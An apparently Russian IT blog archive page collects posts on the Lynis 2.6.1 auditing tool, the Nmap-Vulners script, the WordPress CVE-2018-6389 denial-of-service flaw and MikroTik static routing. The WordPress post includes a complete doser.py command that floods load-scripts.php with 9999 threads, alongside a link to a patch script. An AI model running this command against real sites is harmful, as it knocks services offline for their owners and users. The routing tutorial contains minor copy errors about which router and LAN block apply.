Архив рубрики: Публикации

Lynis 2.6.1 – Инструмент аудита безопасности для Unix / Linux Systems

Мы рады сообщить об этом крупном выпуске инструмента аудита Lynis.

Несколько существенных изменений были внесены в основные функции Lynis.

Эти изменения являются следующим улучшением, которое мы сделали. Существует риск нарушения существующей конфигурации.

Lynis – это инструмент аудита безопасности с открытым исходным кодом.

Используется системными администраторами, специалистами по безопасности и аудиторами для оценки защиты системы Linux и UNIX.

Он работает на самом хосте, поэтому он выполняет более обширные проверки безопасности, чем сканеры уязвимостей.

Поддерживаемые операционные системы

Инструмент практически не имеет зависимостей, поэтому он работает практически со всеми системами и версиями на базе Unix, в том числе:

  • AIX
  • FreeBSD
  • HP-UX
  • Linux
  • Mac OS
  • NetBSD
  • OpenBSD
  • Solaris
  • и другими

Он работает даже на таких системах, как Raspberry Pi и подобных устройствах хранения данных!

Установка необязательна

Lynis легкий и простой в использовании.

Установка является необязательной: просто скопируйте ее в систему и используйте «./lynis audit system», чтобы запустить проверку безопасности.

Он написан в скрипте шелла и выпущен как ПО с открытым исходным кодом (GPL).

Как это работает?

Lynis выполняет сотни отдельных тестов, чтобы определить состояние безопасности системы.

Сама проверка безопасности состоит в выполнении набора шагов, начиная с инициализации программы, вплоть до отчета

Шаги

  1. Определить операционную систему

  2. Поиск доступных инструментов и утилит

  3. Проверить обновление Lynis

  4. Запуск тестов из включенных плагинов

  5. Запуск тестов безопасности для каждой категории

  6. Составление отчета проверки безопасности

Помимо данных, отображаемых на экране, все технические данные о сканировании хранятся в файле журнала.

Любые результаты (предупреждения, предложения, сбор данных) хранятся в файле отчета.

Оппортунистическое сканирование

Сканирование Lynis является оппортунистическим: оно использует то, что может найти.

Например, если он видит, что вы используете Apache, он выполнит начальный раунд тестов, связанных с Apache.

Когда во время сканирования Apache он также обнаруживает конфигурацию SSL / TLS, он будет выполнять дополнительные шаги аудита.

При этом он будет собирать обнаруженные сертификаты, чтобы впоследствии их можно было отсканировать.

Углубленное сканирование безопасности

Выполняя оппортунистическое сканирование, инструмент может работать практически без зависимостей.

Чем больше он найдет, тем глубже будет аудит.

Другими словами, Lynis всегда будет выполнять сканирование, настроенное для вашей системы.

Никакой аудит не будет таким же!

Случаи использования

Поскольку Lynis является гибким, он используется для различных целей.

Типичные варианты использования Lynis включают:

Ресурсы, используемые для тестирования

Поскольку Lynis не ограничивается несколькими распространенными дистрибутивами Linux, он использует тесты из стандартов и многопользовательские, которые вы не найдены ни в одном другом инструменте.

  • Best practices
  • CIS
  • NIST
  • NSA
  • OpenSCAP data
  • Руководства и рекомендации поставщиков (например, Debian Gentoo, Red Hat)

Плагины Lynis

Плагины позволяют инструменту выполнять дополнительные тесты.

Их можно рассматривать как расширение (или дополнение) к Lynis, которые улучшают его функциональность.

Одним из примеров является плагин проверки соответствия, который выполняет конкретные тесты, применимые только к некоторому стандарту.

Изменения

 Changes:

--------

* Tests can have more than 1 required OS (e.g. Linux OR NetBSD)

* Added 'system-groups' option to profile (Enterprise users)

* Overhaul of default profile and migrate to new style (setting=value)

* Show warning if old profile options are used

* Improved detection of binaries

* New group 'usb' for tests related to USB devices



Tests:

------

* [FILE-6363] - New test for /var/tmp (sticky bit)

* [MAIL-8802] - Added exim4 process name to improve detection of Exim

* [NETW-3030] - Changed name of dhcp client name process and added udhcpc

* [SSH-7408] - Restored UsePrivilegeSeparation

* [TIME-3170] - Added chrony configuration file for NetBSD 

Скачать Lynis 2.6.1

 



2018-02-12T16:37:26
Аудит ИБ

Nmap-Vulners – скрипт NSE, использующий известную службу для предоставления информации об уязвимостях

Зависимости

nmap-библиотеки:

  • HTTP

  • JSON

  • string

Установка

найдите, где ваши скрипты nmap находятся в вашей системе

для системы * nix это может быть ~ /.nmap/scripts/или $ NMAPDIR

для Mac это может быть / usr / local /Cellar/nmap/<version>/share/nmap/scripts/

для Windows вы должны найти это сами



скопируйте предоставленный скрипт (vulners.nse) в этот каталог:

Использование

 # nmap -sV --script vulners <target> 



2018-02-12T14:42:09
Аудит ИБ

Закрываем уязвимость WordPress CVE 2018-6389

DoS может быть иногда интересен.

Когда речь идет о пограничных маршрутизаторах или о порядка четверти сайтов в интернете.

В WordPress найдена уязвимость, позволяющая не напрягаясь уложить сайт (CVE 2018-6389).

В платформе есть две функции load-scripts.php и load-styles.php, позволяющие указать список загружаемых JS-скриптов или CSS.

Они доступны на странице логина, поэтому не требуют авторизации.

Предполагаемый смысл – уменьшить количество запросов к сайту при загрузке дополнительных файлов. Ну а на деле можно запросить все доступные файлы, загрузив сервер на 2 с лишним секунды и потребовав ответ в 4 МБ.

Примечательно, что производитель не считает это багой и не собирается исправлять, поэтому все актуальные версии уязвимы.

Эксплуатируется очень просто, вот тулза от ресерчера, чтобы повторять запросы: https://github.com/quitten/doser.py.

Запускается для эксплойтинга:

#  python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999 

 

И этот парень, Barak Tawily, даже позаботился о несчастных владельцах сайтов на WordPress заместо производителя и написал скрипт, который устранит уязвимость: https://github.com/Quitten/WordPress/blob/master/wp-dos-patch.sh.

Источник : https://t.me/informhardening



2018-02-12T11:53:06
Закрытие уязвимостей

Static Routing Configuration in MikroTik Router

Static Routing is an important topic to any network administrator who works with multiple MikroTik RouterOS and wants to establish communication among Router’s local networks. For example, say a network administrator maintains two MikroTik RouterOS connected with any communication medium and each RouterOS has its own networks and network resources such as servers, printers etc. and he wants that each network and network resources will be accessible from other networks. In this case, static routing configuration between two RouterOS will be a better solution. In this article, I will explain how to configure static routing between two MikroTik RouterOS so that each RouterOS networks will be accessible from other RouterOS networks. But before going to start our configuration, we  need to  be familiar with some basic routing topics which are necessary for static routing configuration.




Hops




In a Network, each layer 3 device endpoint (router) is called a HOP. In RIP and Static Routing concept, HOP is very important term to understand.




Routing




Routing is the process used to find other networks which is not directly connected in the local router. There are two types of routing.




  • Static Routing is a process where route is manually generated in routing table. In static routing, the network administrator must know the next hope IP address or outgoing interface in which the network router is connected. Static route format: Route add Network Subnet {next hop IP address/ outgoing interface}. Mikrotik Example: /ip route> add dst-address=Network/Subnet gateway=Next Hop IP Address
  • Dynamic Routing is a process of learning networks from different routers connected each other. Routers learn network by building neighbor relationship with adjacent router. Examples of dynamic routing are OSPF, EIGRP, RIP, BGP, and ISIS etc.






Static/Specific Routing Configuration




Now we will start static routing configuration in MikroTik Router. Our proposed network will be like below diagram.




MikroTik Static Routing Network Diagram
MikroTik Static Routing Network Diagram




There are two office networks in this diagram and each office network has a MikroTik RouterOS (R1 & R2). R1 Router is connected to WAN1 having IP address 192.168.110.2/28 and R2 Router is connected to WAN2 having IP address 192.168.10.2/30. R1 Router has its own LAN IP block (172.22.10.0/24) and R2 also has its own LAN IP block (172.22.20.0/24). Both Routers are connected with a communication medium having IP address 10.10.10.1/30 and 10.10.10.2/30 respectively. Now we will configure static routing in both RouterOS so that each LAN IP block can be accessible from other LAN IP block.




As there are two RouterOS (R1 & R2) in this diagram, we have to configure both RouterOS and now I will show this configuration from very beginning.




R1 Router Configuration




In R1 RouterOS, we will perform basic RouterOS configuration as well as static routing configuration. The following steps will show how to do MikroTik Router basic configuration and static routing configuration in R1 RouterOS.




  • Login to R1 RouterOS using winbox and go to IP > Addresses. In Address List window, click on PLUS SIGN (+). In New Address window, put WAN IP address (192.168.110.2/28) in Address input field and choose WAN interface (ether1) from Interface dropdown menu and click Apply and OK button. Click on PLUS SIGN again and put LAN IP (172.22.10.1/24) in Address input field and choose LAN interface (ether2) from Interface dropdown menu and click on Apply and OK button. Again click on PLUS SIGN and put 10.10.10.1/30 (Gateway address for R2 to access LAN IP block) in Address input field and choose ether3 (RouterOS interface that is connected to R2) from Interface dropdown menu and click on Apply and OK button.
  • Go to IP > DNS and put DNS servers IP (8.8.8.8 or 8.8.4.4) in Servers input field and click Apply and OK button.
  • Go to IP > Firewall and click on NAT tab and then click on PLUS SIGN. Under General tab, choose srcnat from Chain dropdown menu and click on Action tab and then choose masquerade from Action dropdown menu. Click on Apply and OK button.
  • Go to IP > Routes and click on PLUS SIGN (+). In New Route window, click on Gateway input field and put WAN Gateway address (192.168.110.1) in Gateway input field and click Apply and OK button.
  • Static Routing means providing the destination IP Block and the Gateway address to reach that destination IP Block. As we want to reach R2 Router’s LAN IP Block (172.22.20.0/24) and according to network diagram the Gateway IP Address to reach this destination IP Block is 10.10.10.2, we will provide this information in R1 Router’s Routing table. For this, Go to IP > Routes and click on PLUS SIGN (+). In New Route window, put destination IP Block (172.22.20.0/24) in Dst. Address input field and put the Gateway address (10.10.10.2) in Gateway input field. Click Apply and OK button. If you have more LAN IP Blocks that you need to reach, you can add those IP Blocks according to this step.




Basic configuration and static routing configuration in R1 RouterOS has been completed and R1 Router is now ready to access R2 Router’s LAN IP Block. Now we will configure our R2 Router so that it can access R1 Router’s LAN IP Block.




R2 Router Configuration




Like R1 RouterOS, we will perform basic RouterOS configuration as well as static routing configuration in our R2 RouterOS. The following steps will show how to do MikroTik Router basic configuration and static routing configuration in R2 RouterOS.




  • Login to R1 RouterOS using winbox and go to IP > Addresses. In Address List window, click on PLUS SIGN (+). In New Address window, put WAN IP address (192.168.10.2/30) in Address input field and choose WAN interface (ether1) from Interface dropdown menu and click Apply and OK button. Click on PLUS SIGN (+) again and put LAN IP (172.22.20.1/24) in Address input field and choose LAN interface (ether2) from Interface dropdown menu and click on Apply and OK button. Again click on PLUS SIGN (+) and put 10.10.10.2/30 (Gateway address for R1 to access LAN IP block) in Address input field and choose ether3 (RouterOS interface that is connected to R1) from Interface dropdown menu and click on Apply and OK button.
  • Go to IP > DNS and put DNS servers IP (8.8.8.8 or 8.8.4.4) in Servers input field and click Apply and OK button.
  • Go to IP > Firewall and click on NAT tab and then click on PLUS SIGN (+). Under General tab, choose srcnat from Chain dropdown menu and click on Action tab and then choose masquerade from Action dropdown menu. Click on Apply and OK button.
  • Go to IP > Routes and click on PLUS SIGN (+). In New Route window, click on Gateway input field and put WAN Gateway address (192.168.10.1) in Gateway input field and click Apply and OK button.
  • As we want to reach R1 Router’s LAN IP Block (172.22.20.0/24) and according to network diagram the Gateway IP Address to reach this destination IP Block is 10.10.10.1, we will provide this information in R2 Router’s Routing table. For this, Go to IP > Routes and click on PLUS SIGN (+). In New Route window, put destination IP Block (172.22.10.0/24) in Dst. Address input field and put the Gateway address (10.10.10.1) in Gateway input field. Click Apply and OK button. If you have more LAN IP Blocks that you need to reach, you can add those IP Blocks according to this step.




Basic configuration and static routing configuration in R2 RouterOS has been completed and R2 Router is now ready to access R1 Router’s LAN IP Block.




Now connect IP devices in both network and ping these devices. If everything is OK, you will be able to access both network successfully.




You will be able to configure static routing in MikroTik Router if you follow the above steps properly. However, if you face any confusion to do above steps, watch my video about MikroTik static routing configuration step by step. I hope, it will reduce your any confusion.